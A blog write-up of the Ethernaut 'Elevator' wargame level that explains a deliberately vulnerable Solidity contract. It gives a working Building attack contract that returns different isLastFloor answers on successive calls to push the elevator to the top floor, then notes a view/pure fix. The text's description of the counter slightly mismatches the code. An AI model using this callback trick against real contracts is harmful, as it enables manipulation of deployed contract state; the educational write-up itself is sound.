# Ethernaut 10: Elevator

By [0xbanky](https://paragraph.com/@banky) · 2022-08-22

---

Calling external contracts can be tricky because they may not be deterministic. A contract function can return different values for the same input to break our contracts. I explored this with my 9th ethernaut challenge, Elevator

[https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687](https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687)

Investigation
-------------

We have a contract for an `Elevator` that should not let the user get to the top floor.

    interface Building {
      function isLastFloor(uint) external returns (bool);
    }
    
    contract Elevator {
      bool public top;
      uint public floor;
    
      function goTo(uint _floor) public {
        Building building = Building(msg.sender);
    
        if (!building.isLastFloor(_floor)) {
          floor = _floor;
          top = building.isLastFloor(floor);
        }
      }
    }
    

By calling `goTo`, we can update the floor in the `Elevator` instance. However, the logic intends to never allow the user to get to the top floor of any provided building. The if statement makes sure that the current floor is not the last floor before setting the `floor` and `top` values. Since two contract calls are made to the instance of `Building`, it is possible to return to different values for `isLastFloor` , thus tricking the elevator to update to be at the top floor unexpectedly.

Solution
--------

I created a new `Building` contract to demonstrate this

    contract Building {
        address elevatorAddress;
        uint calls = 0;
    
        constructor (address _elevatorAddress) {
            elevatorAddress = _elevatorAddress;
        }
    
        function attack (uint _floor) public {
            Elevator elevator = Elevator(elevatorAddress);
    
            elevator.goTo(_floor);
        }
    
        function isLastFloor(uint floor) override external returns (bool) {
            if (calls == 0) {
                calls += 1;
                return false;
            } else {
                return true;
            }
        }
    }
    
    interface Elevator {
        function goTo(uint _floor) external;
    }
    

Here, we track how many times the `isLastFloor` command has been called. If it has been called before, we simply increase the `calls` and return `true` instead of `false` on every subsequent call. Sure enough, with this technique, the `Elevator` instance breaks since it enters an unexpected state.

What I learned
--------------

1.  We can’t trust that external contract calls will always return the same output for a given input
    
2.  To improve this code, we can use `view` or `pure` in the interface definition for `Building` which will ensure that the `isLastFloor` function cannot modify state between calls

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-10-elevator)*
